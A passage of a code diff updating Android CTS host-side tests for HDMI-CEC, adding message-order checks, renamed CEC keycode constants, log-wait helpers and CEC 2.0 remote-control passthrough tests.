+     * @param primaryMessages   list of CEC messages out of which at least one is expected from the
+     *                          target device.
+     * @param secondaryMessages list of CEC messages that are not expected before primary messages
+     *                          to be sent from the target device.
+     * @param timeoutMillis     timeout to monitor CEC messages from source device.
+     * @return the first line that contains any of the primaryMessages.
+     * If none of the {@code primaryMessages} are found or if any of the {@code secondaryMessages}
+     * are found, exception is thrown.
+     */
+    public String checkMessagesInOrder(
+            LogicalAddress source,
+            LogicalAddress destination,
+            List<CecOperand> primaryMessages,
+            List<String> secondaryMessages,
+            long timeoutMillis)
+            throws CecClientWrapperException {
+        checkCecClient();
+        long startTime = System.currentTimeMillis();
+        long endTime = startTime;
+        Pattern pattern = Pattern.compile("(.*>>)(.*?)"
+                        + "(" + source + destination + "):"
+                        + "(.*)",
+                Pattern.CASE_INSENSITIVE);
+
+        while ((endTime - startTime <= timeoutMillis)) {
+            try {
+                if (mInputConsole.ready()) {
+                    String line = mInputConsole.readLine();
+                    if (pattern.matcher(line).matches()) {
+                        CecOperand operand = CecMessage.getOperand(line);
+                        String params = CecMessage.getParamsAsString(line);
+                        // Check for secondary messages. If found, throw an exception.
+                        for (String secondaryMessage : secondaryMessages) {
+                            if (line.contains(secondaryMessage)) {
+                                throw new CecClientWrapperException(ErrorCodes.CecMessageFound,
+                                        operand.name() + " to " + destination + " with params "
+                                                + CecMessage.getParamsAsString(line));
+                            }
+                        }
+                        // Check for the primary messages.
+                        if (primaryMessages.contains(operand)) {
+                            CLog.v("Found " + operand.name() + " in " + line);
+                            return line;
+                        }
+                    }
+                }
+            } catch (IOException ioe) {
+                throw new CecClientWrapperException(ErrorCodes.ReadConsole, ioe);
+            }
+            endTime = System.currentTimeMillis();
+        }
+        throw new CecClientWrapperException(
+                ErrorCodes.CecMessageNotFound, primaryMessages.toString());
+    }
+
     /** Returns the device type that the cec-client has started as. */
     public LogicalAddress getSelfDevice() {
         return selfDevice;
     }
 
     /** Set the physical address of the cec-client instance */
-    public void setPhysicalAddress(int newPhysicalAddress) throws Exception {
+    public void setPhysicalAddress(int newPhysicalAddress) throws CecClientWrapperException {
         String command =
                 String.format(
                         "pa %02d %02d",
@@ -693,11 +1084,11 @@
                 killProcess = RunUtil.getDefault().runCmdInBackground(commands);
                 killProcess.waitFor();
             }
-        } catch (Exception e) {
-            /* If cec-client is not running, do not throw an exception, just return. */
-            CLog.w(new Exception("Unable to close cec-client", e));
+        } catch (IOException | InterruptedException | CecClientWrapperException e) {
+            /*
+             * If cec-client is not running, do not throw a CecClientWrapperException, just return.
+             */
+            CLog.w(new CecClientWrapperException(ErrorCodes.CecClientStop, e));
         }
     }
-
-    public static class CecPortBusyException extends Exception {}
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
index c6d0911..6ae8992 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecConstants.java
@@ -16,6 +16,8 @@
 
 package android.hdmicec.cts;
 
+import androidx.annotation.IntDef;
+
 import java.io.File;
 
 public final class HdmiCecConstants {
@@ -27,32 +29,79 @@
     public static final int TIMEOUT_CEC_REINIT_SECONDS = 5;
     public static final int TIMEOUT_SAFETY_MS = 500;
 
+    public static final int INVALID_VENDOR_ID = 0xFFFFFF;
+
     // Standard delay to allow the DUT to react to a CEC message or ADB command
     public static final int DEVICE_WAIT_TIME_SECONDS = 5;
+    public static final int DEVICE_WAIT_TIME_MS = 5000;
     public static final int MAX_SLEEP_TIME_SECONDS = 8;
-
+    public static final int SLEEP_TIMESTEP_SECONDS = 1;
     public static final int DEFAULT_PHYSICAL_ADDRESS = 0x1000;
     public static final int TV_PHYSICAL_ADDRESS = 0x0000;
     public static final int PHYSICAL_ADDRESS_LENGTH = 4; /* Num nibbles in CEC message */
 
-    public static final int PLAYBACK_DEVICE_TYPE = 0x04;
-
-    public static final int CEC_CONTROL_SELECT = 0x0;
-    public static final int CEC_CONTROL_UP = 0x1;
-    public static final int CEC_CONTROL_DOWN = 0x2;
-    public static final int CEC_CONTROL_LEFT = 0x3;
-    public static final int CEC_CONTROL_RIGHT = 0x4;
-    public static final int CEC_CONTROL_BACK = 0xd;
-    public static final int CEC_CONTROL_POWER = 0x40;
-    public static final int CEC_CONTROL_VOLUME_UP = 0x41;
-    public static final int CEC_CONTROL_VOLUME_DOWN = 0x42;
-    public static final int CEC_CONTROL_MUTE = 0x43;
-    public static final int CEC_CONTROL_POWER_TOGGLE_FUNCTION = 0x6B;
-    public static final int CEC_CONTROL_POWER_OFF_FUNCTION = 0x6C;
-    public static final int CEC_CONTROL_POWER_ON_FUNCTION = 0x6D;
+    public static final int CEC_KEYCODE_SELECT = 0x00;
+    public static final int CEC_KEYCODE_UP = 0x01;
+    public static final int CEC_KEYCODE_DOWN = 0x02;
+    public static final int CEC_KEYCODE_LEFT = 0x03;
+    public static final int CEC_KEYCODE_RIGHT = 0x04;
+    public static final int CEC_KEYCODE_ROOT_MENU = 0x09;
+    public static final int CEC_KEYCODE_SETUP_MENU = 0x0A;
+    public static final int CEC_KEYCODE_CONTENTS_MENU = 0x0B;
+    public static final int CEC_KEYCODE_BACK = 0x0D;
+    public static final int CEC_KEYCODE_MEDIA_TOP_MENU = 0x10;
+    public static final int CEC_KEYCODE_MEDIA_CONTEXT_SENSITIVE_MENU = 0x11;
+    public static final int CEC_KEYCODE_NUMBER_0_OR_NUMBER_10 = 0x20;
+    public static final int CEC_KEYCODE_NUMBERS_1 = 0x21;
+    public static final int CEC_KEYCODE_NUMBERS_2 = 0x22;
+    public static final int CEC_KEYCODE_NUMBERS_3 = 0x23;
+    public static final int CEC_KEYCODE_NUMBERS_4 = 0x24;
+    public static final int CEC_KEYCODE_NUMBERS_5 = 0x25;
+    public static final int CEC_KEYCODE_NUMBERS_6 = 0x26;
+    public static final int CEC_KEYCODE_NUMBERS_7 = 0x27;
+    public static final int CEC_KEYCODE_NUMBERS_8 = 0x28;
+    public static final int CEC_KEYCODE_NUMBERS_9 = 0x29;
+    public static final int CEC_KEYCODE_CHANNEL_UP = 0x30;
+    public static final int CEC_KEYCODE_CHANNEL_DOWN = 0x31;
+    public static final int CEC_KEYCODE_PREVIOUS_CHANNEL = 0x32;
+    public static final int CEC_KEYCODE_DISPLAY_INFORMATION = 0x35;
+    public static final int CEC_KEYCODE_POWER = 0x40;
+    public static final int CEC_KEYCODE_VOLUME_UP = 0x41;
+    public static final int CEC_KEYCODE_VOLUME_DOWN = 0x42;
+    public static final int CEC_KEYCODE_MUTE = 0x43;
+    public static final int CEC_KEYCODE_PLAY = 0x44;
+    public static final int CEC_KEYCODE_STOP = 0x45;
+    public static final int CEC_KEYCODE_PAUSE = 0x46;
+    public static final int CEC_KEYCODE_RECORD = 0x47;
+    public static final int CEC_KEYCODE_REWIND = 0x48;
+    public static final int CEC_KEYCODE_FAST_FORWARD = 0x49;
+    public static final int CEC_KEYCODE_EJECT = 0x4A;
+    public static final int CEC_KEYCODE_FORWARD = 0x4B;
+    public static final int CEC_KEYCODE_BACKWARD = 0x4C;
+    public static final int CEC_KEYCODE_POWER_TOGGLE_FUNCTION = 0x6B;
+    public static final int CEC_KEYCODE_POWER_OFF_FUNCTION = 0x6C;
+    public static final int CEC_KEYCODE_POWER_ON_FUNCTION = 0x6D;
+    public static final int CEC_KEYCODE_F1_BLUE = 0x71;
+    public static final int CEC_KEYCODE_F2_RED = 0x72;
+    public static final int CEC_KEYCODE_F3_GREEN = 0x73;
+    public static final int CEC_KEYCODE_F4_YELLOW = 0x74;
+    public static final int CEC_KEYCODE_DATA = 0x76;
 
     public static final int UNRECOGNIZED_OPCODE = 0x0;
 
+    @IntDef(
+            value = {
+                CEC_DEVICE_TYPE_UNKNOWN,
+                CEC_DEVICE_TYPE_TV,
+                CEC_DEVICE_TYPE_RECORDER,
+                CEC_DEVICE_TYPE_RESERVED,
+                CEC_DEVICE_TYPE_TUNER,
+                CEC_DEVICE_TYPE_PLAYBACK_DEVICE,
+                CEC_DEVICE_TYPE_AUDIO_SYSTEM,
+                CEC_DEVICE_TYPE_SWITCH
+            })
+    public @interface CecDeviceType {}
+
     public static final int CEC_DEVICE_TYPE_UNKNOWN = -1;
     public static final int CEC_DEVICE_TYPE_TV = 0;
     public static final int CEC_DEVICE_TYPE_RECORDER = 1;
@@ -75,9 +124,18 @@
     public static final int CEC_VERSION_1_4 = 0x05;
     public static final int CEC_VERSION_2_0 = 0x06;
 
-    // CEC Power Status
-    public static final int CEC_POWER_STATUS_ON = 0;
-    public static final int CEC_POWER_STATUS_STANDBY = 1;
+    /** CEC Power Status */
+    public static final int CEC_POWER_STATUS_ON = 0x0;
+    public static final int CEC_POWER_STATUS_STANDBY = 0x1;
+    public static final int CEC_POWER_STATUS_IN_TRANSITION_TO_ON = 0x2;
+    public static final int CEC_POWER_STATUS_IN_TRANSITION_TO_STANDBY = 0x3;
+
+    /** PowerManager wakefulness states */
+    public static final String WAKEFULNESS_AWAKE = "Awake";
+    public static final String WAKEFULNESS_ASLEEP = "Asleep";
+
+    /** Poll Message Success */
+    public static final String POLL_SUCCESS = "POLL message sent";
 
     // CEC Device feature list
     public static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
@@ -85,10 +143,30 @@
 
     // CEC Device property list
     public static final String HDMI_DEVICE_TYPE_PROPERTY = "ro.hdmi.device_type";
+    public static final String PROPERTY_ARC_SUPPORT = "persist.sys.hdmi.property_arc_support";
 
     /*
      * The default name of local directory into which the port to device mapping files are stored.
      */
     public static final File CEC_MAP_FOLDER =
             new File(System.getProperty("java.io.tmpdir"), "cec-cts-temp");
+
+    // CEC Settings
+    public static final String SETTING_VOLUME_CONTROL_ENABLED = "volume_control_enabled";
+
+    // CEC Settings Values
+    public static final String VOLUME_CONTROL_ENABLED = "1";
+
+    // Power Control Modes for source devices
+    public static final String POWER_CONTROL_MODE_BROADCAST = "broadcast";
+    public static final String POWER_CONTROL_MODE_NONE = "none";
+    public static final String POWER_CONTROL_MODE_TV = "to_tv";
+
+    // Power State Change on Active Source Lost Settings values
+    public static final String POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST_NONE = "none";
+    public static final String POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST_STANDBY_NOW = "standby_now";
+
+    // CEC 2.0 Report Feature Bits
+    public static final int FEATURES_SINK_SUPPORTS_ARC_TX_BIT = 0x4;
+    public static final int FEATURES_SINK_SUPPORTS_ARC_RX_BIT = 0x2;
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerUtility.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerUtility.java
index cb92093..691490c 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerUtility.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerUtility.java
@@ -18,37 +18,69 @@
 
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-/** Helper class to call intents in the HdmiCecControlManagerHelper app */
+import java.util.HashMap;
+import java.util.Map;
+
+/** Helper class to call tests in the HdmiCecControlManagerHelper app */
 public class HdmiControlManagerUtility {
     /** The package name of the APK. */
-    private static final String PACKAGE = "android.hdmicec.app";
+    private static final String TEST_PKG = "android.hdmicec.app";
 
     /** The class name of the main activity in the APK. */
-    private static final String CLASS = "HdmiControlManagerHelper";
+    private static final String TEST_CLS = "android.hdmicec.app.HdmiControlManagerHelper";
 
-    /** The command to launch the main activity. */
-    private static final String START_COMMAND =
-            String.format("am start -n %s/%s.%s -a ", PACKAGE, PACKAGE, CLASS);
+    /** The method name of the set active source case. */
+    private static final String SELECT_DEVICE = "deviceSelect";
 
-    /** The command to clear the main activity. */
-    private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
+    /** The method name of the set active source case. */
+    private static final String SEND_INTERRUPTED_LONG_PRESS = "interruptedLongPress";
+
+    /** The method name of the set active source case. */
+    private static final String VENDOR_CMD_LISTENER_WITHOUT_ID = "vendorCmdListenerWithoutId";
+
+    /** The method name of the set active source case. */
+    private static final String VENDOR_CMD_LISTENER_WITH_ID = "vendorCmdListenerWithId";
+
+    /** The key of the set active source case arguments. */
+    private static final String LOGICAL_ADDR = "ARG_LOGICAL_ADDR";
+
+    /** The timeout of the test. */
+    private static final long TEST_TIMEOUT_MS = 10 * 60 * 1000L;
 
     /**
      * Method to make a device the active source. Will only work if the DUT is TV.
      *
+     * @param host Reference to the JUnit4 host test class
      * @param device Reference to the DUT
      * @param logicalAddress The logical address of the device that should be made the active source
      */
-    public static void setActiveSource(ITestDevice device, int logicalAddress)
+    public static void selectDevice(BaseHostJUnit4Test host, ITestDevice device,
+            String logicalAddress) throws DeviceNotAvailableException {
+        Map<String, String> args = new HashMap<>();
+        args.put(LOGICAL_ADDR, logicalAddress);
+        host.runDeviceTests(device, null, TEST_PKG, TEST_CLS, SELECT_DEVICE, null,
+                TEST_TIMEOUT_MS, TEST_TIMEOUT_MS, 0L, true, false, args);
+    }
+
+    /**
+     * Sends a long press keyevent (KEYCODE_UP) followed by a short press of another keyevent
+     * (KEYCODE_DOWN).
+     */
+    public static void sendLongPressKeyevent(BaseHostJUnit4Test host) throws DeviceNotAvailableException {
+        host.runDeviceTests(TEST_PKG, TEST_CLS, SEND_INTERRUPTED_LONG_PRESS);
+    }
+
+    /** Registers a vendor command listener without a vendor ID. */
+    public static void registerVendorCmdListenerWithoutId(BaseHostJUnit4Test host)
             throws DeviceNotAvailableException {
-        // Clear activity
-        device.executeShellCommand(CLEAR_COMMAND);
-        // Start the APK and wait for it to complete.
-        device.executeShellCommand(
-                START_COMMAND
-                        + "android.hdmicec.app.DEVICE_SELECT --ei "
-                        + "\"la\" "
-                        + logicalAddress);
+        host.runDeviceTests(TEST_PKG, TEST_CLS, VENDOR_CMD_LISTENER_WITHOUT_ID);
+    }
+
+    /** Registers a vendor command listener with vendor ID. */
+    public static void registerVendorCmdListenerWithId(BaseHostJUnit4Test host)
+            throws DeviceNotAvailableException {
+        host.runDeviceTests(TEST_PKG, TEST_CLS, VENDOR_CMD_LISTENER_WITH_ID);
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogHelper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogHelper.java
index 7b2c857..2074a49 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogHelper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogHelper.java
@@ -59,6 +59,24 @@
         return testString;
     }
 
+    public static void waitForLog(
+            ITestDevice device, String tag, int waitSeconds, String expectedOutput)
+            throws Exception {
+        long timeoutMillis = waitSeconds * 1000;
+        long startTime = System.currentTimeMillis();
+        long endTime = startTime;
+
+        while ((endTime - startTime <= timeoutMillis)) {
+            String testString = getLog(device, tag);
+            if (testString.contains(expectedOutput)) {
+                return;
+            }
+            endTime = System.currentTimeMillis();
+        }
+
+        throw new Exception("Timed out, could not find the log message.");
+    }
+
     public static void assertLog(ITestDevice device, String tag, String ...expectedOutput)
             throws Exception {
         String testString = getLog(device, tag);
@@ -66,6 +84,17 @@
         assertThat(testString).isIn(expectedOutputs);
     }
 
+    /** Skip the test if the expectedOutput was not found in the device logs. */
+    public static void assumeLog(ITestDevice device, String tag, String expectedOutput)
+            throws Exception {
+        String testString = getLog(device, tag);
+        assumeTrue(
+                "Skip the test since "
+                        + expectedOutput
+                        + " message is not found in the device logs.",
+                testString.contains(expectedOutput));
+    }
+
     /** This method will return the DUT volume. */
     public static int parseDutVolume(ITestDevice device, String tag) throws Exception {
         String testString = getLog(device, tag);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
index 70a0666..eeb81b1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
@@ -16,6 +16,8 @@
 
 package android.hdmicec.cts;
 
+import android.hdmicec.cts.HdmiCecConstants.CecDeviceType;
+
 import java.util.HashMap;
 import java.util.Map;
 
@@ -60,7 +62,7 @@
         return this.address;
     }
 
-    public int getDeviceType() {
+    public @CecDeviceType int getDeviceType() {
         switch (this) {
             case PLAYBACK_1:
             case PLAYBACK_2:
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/RemoteControlPassthrough.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/RemoteControlPassthrough.java
index 6486313..c12bae1 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/RemoteControlPassthrough.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/RemoteControlPassthrough.java
@@ -18,6 +18,8 @@
 
 import com.android.tradefed.device.ITestDevice;
 
+import java.util.HashMap;
+
 /** Helper class with methods to test the remote control passthrough functionality */
 public final class RemoteControlPassthrough {
 
@@ -33,6 +35,9 @@
     /** The command to clear the main activity. */
     private static final String CLEAR_COMMAND = String.format("pm clear %s", PACKAGE);
 
+    private static final HashMap<Integer, String> mUserControlPressKeys_20 =
+            createUserControlPressKeys_20();
+
     /**
      * Tests that the device responds correctly to a {@code <USER_CONTROL_PRESSED>} message followed
      * immediately by a {@code <USER_CONTROL_RELEASED>} message.
@@ -50,23 +55,23 @@
         // Start the APK and wait for it to complete.
         device.executeShellCommand(START_COMMAND);
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_UP, false);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_UP, false);
         LogHelper.assertLog(device, CLASS, "Short press KEYCODE_DPAD_UP");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_DOWN, false);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_DOWN, false);
         LogHelper.assertLog(device, CLASS, "Short press KEYCODE_DPAD_DOWN");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_LEFT, false);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_LEFT, false);
         LogHelper.assertLog(device, CLASS, "Short press KEYCODE_DPAD_LEFT");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_RIGHT, false);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_RIGHT, false);
         LogHelper.assertLog(device, CLASS, "Short press KEYCODE_DPAD_RIGHT");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_SELECT, false);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_SELECT, false);
         LogHelper.assertLog(
                 device, CLASS, "Short press KEYCODE_DPAD_CENTER", "Short press KEYCODE_ENTER");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_BACK, false);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_BACK, false);
         LogHelper.assertLog(device, CLASS, "Short press KEYCODE_BACK");
     }
 
@@ -87,23 +92,23 @@
         // Start the APK and wait for it to complete.
         device.executeShellCommand(START_COMMAND);
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_UP, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_UP, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_UP");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_DOWN, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_DOWN, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_DOWN");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_LEFT, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_LEFT, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_LEFT");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_RIGHT, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_RIGHT, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_RIGHT");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_SELECT, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_SELECT, true);
         LogHelper.assertLog(
                 device, CLASS, "Long press KEYCODE_DPAD_CENTER", "Long press KEYCODE_ENTER");
         hdmiCecClient.sendUserControlPressAndRelease(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_BACK, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_BACK, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_BACK");
     }
 
@@ -124,22 +129,22 @@
         // Start the APK and wait for it to complete.
         device.executeShellCommand(START_COMMAND);
         hdmiCecClient.sendUserControlPress(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_UP, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_UP, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_UP");
         hdmiCecClient.sendUserControlPress(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_DOWN, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_DOWN, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_DOWN");
         hdmiCecClient.sendUserControlPress(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_LEFT, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_LEFT, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_LEFT");
         hdmiCecClient.sendUserControlPress(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_RIGHT, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_RIGHT, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_RIGHT");
         hdmiCecClient.sendUserControlPress(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_SELECT, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_SELECT, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_CENTER");
         hdmiCecClient.sendUserControlPress(
-                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_CONTROL_BACK, true);
+                sourceDevice, dutLogicalAddress, HdmiCecConstants.CEC_KEYCODE_BACK, true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_BACK");
     }
 
@@ -163,44 +168,160 @@
         hdmiCecClient.sendUserControlInterruptedPressAndHold(
                 sourceDevice,
                 dutLogicalAddress,
-                HdmiCecConstants.CEC_CONTROL_UP,
-                HdmiCecConstants.CEC_CONTROL_BACK,
+                HdmiCecConstants.CEC_KEYCODE_UP,
+                HdmiCecConstants.CEC_KEYCODE_BACK,
                 true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_UP");
         hdmiCecClient.sendUserControlInterruptedPressAndHold(
                 sourceDevice,
                 dutLogicalAddress,
-                HdmiCecConstants.CEC_CONTROL_DOWN,
-                HdmiCecConstants.CEC_CONTROL_UP,
+                HdmiCecConstants.CEC_KEYCODE_DOWN,
+                HdmiCecConstants.CEC_KEYCODE_UP,
                 true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_DOWN");
         hdmiCecClient.sendUserControlInterruptedPressAndHold(
                 sourceDevice,
                 dutLogicalAddress,
-                HdmiCecConstants.CEC_CONTROL_LEFT,
-                HdmiCecConstants.CEC_CONTROL_DOWN,
+                HdmiCecConstants.CEC_KEYCODE_LEFT,
+                HdmiCecConstants.CEC_KEYCODE_DOWN,
                 true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_LEFT");
         hdmiCecClient.sendUserControlInterruptedPressAndHold(
                 sourceDevice,
                 dutLogicalAddress,
-                HdmiCecConstants.CEC_CONTROL_RIGHT,
-                HdmiCecConstants.CEC_CONTROL_LEFT,
+                HdmiCecConstants.CEC_KEYCODE_RIGHT,
+                HdmiCecConstants.CEC_KEYCODE_LEFT,
                 true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_RIGHT");
         hdmiCecClient.sendUserControlInterruptedPressAndHold(
                 sourceDevice,
                 dutLogicalAddress,
-                HdmiCecConstants.CEC_CONTROL_SELECT,
-                HdmiCecConstants.CEC_CONTROL_RIGHT,
+                HdmiCecConstants.CEC_KEYCODE_SELECT,
+                HdmiCecConstants.CEC_KEYCODE_RIGHT,
                 true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_DPAD_CENTER");
         hdmiCecClient.sendUserControlInterruptedPressAndHold(
                 sourceDevice,
                 dutLogicalAddress,
-                HdmiCecConstants.CEC_CONTROL_BACK,
-                HdmiCecConstants.CEC_CONTROL_SELECT,
+                HdmiCecConstants.CEC_KEYCODE_BACK,
+                HdmiCecConstants.CEC_KEYCODE_SELECT,
                 true);
         LogHelper.assertLog(device, CLASS, "Long press KEYCODE_BACK");
     }
+
+    /**
+     * Tests that the device responds correctly to a {@code <User Control Pressed> [keyCode]} press
+     * and release operation when it has an additional parameter following the keyCode.
+     */
+    public static void checkUserControlPressAndReleaseWithAdditionalParams(
+            HdmiCecClientWrapper hdmiCecClient,
+            ITestDevice device,
+            LogicalAddress sourceDevice,
+            LogicalAddress dutLogicalAddress)
+            throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+        hdmiCecClient.sendUserControlPressAndReleaseWithAdditionalParams(
+                sourceDevice,
+                dutLogicalAddress,
+                HdmiCecConstants.CEC_KEYCODE_UP,
+                HdmiCecConstants.CEC_KEYCODE_DOWN);
+        LogHelper.assertLog(device, CLASS, "Short press KEYCODE_DPAD_UP");
+    }
+
+    /**
+     * Tests that the device that support cec version 2.0 responds correctly to a
+     * {@code <USER_CONTROL_PRESSED>} message followed immediately by a
+     * {@code <USER_CONTROL_RELEASED>} message.
+     */
+    public static void checkUserControlPressAndRelease_20(
+            HdmiCecClientWrapper hdmiCecClient,
+            ITestDevice device,
+            LogicalAddress sourceDevice,
+            LogicalAddress dutLogicalAddress)
+            throws Exception {
+        // Clear activity
+        device.executeShellCommand(CLEAR_COMMAND);
+        // Clear logcat.
+        device.executeAdbCommand("logcat", "-c");
+        // Start the APK and wait for it to complete.
+        device.executeShellCommand(START_COMMAND);
+
+        for (Integer userControlPressKey : mUserControlPressKeys_20.keySet()) {
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    sourceDevice, dutLogicalAddress, userControlPressKey, false);
+            LogHelper.assertLog(
+                    device,
+                    CLASS,
+                    "Short press KEYCODE_" + mUserControlPressKeys_20.get(userControlPressKey));
+        }
+    }
+
+    private static HashMap<Integer, String> createUserControlPressKeys_20() {
+        HashMap<Integer, String> userControlPressKeys = new HashMap<Integer, String>();
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_UP,"DPAD_UP");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_DOWN,"DPAD_DOWN");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_LEFT,"DPAD_LEFT");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_RIGHT,"DPAD_RIGHT");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_ROOT_MENU,"MENU");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_SETUP_MENU,"SETTINGS");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_CONTENTS_MENU,"TV_CONTENTS_MENU");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_BACK,"BACK");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_MEDIA_TOP_MENU,"MEDIA_TOP_MENU");
+        userControlPressKeys.put(
+                HdmiCecConstants.CEC_KEYCODE_MEDIA_CONTEXT_SENSITIVE_MENU,"TV_MEDIA_CONTEXT_MENU");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBER_0_OR_NUMBER_10,"0");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_1,"1");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_2,"2");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_3,"3");
+        userControlPressKeys.put(HdmiCecConstants.CEC_KEYCODE_NUMBERS_4,"4");
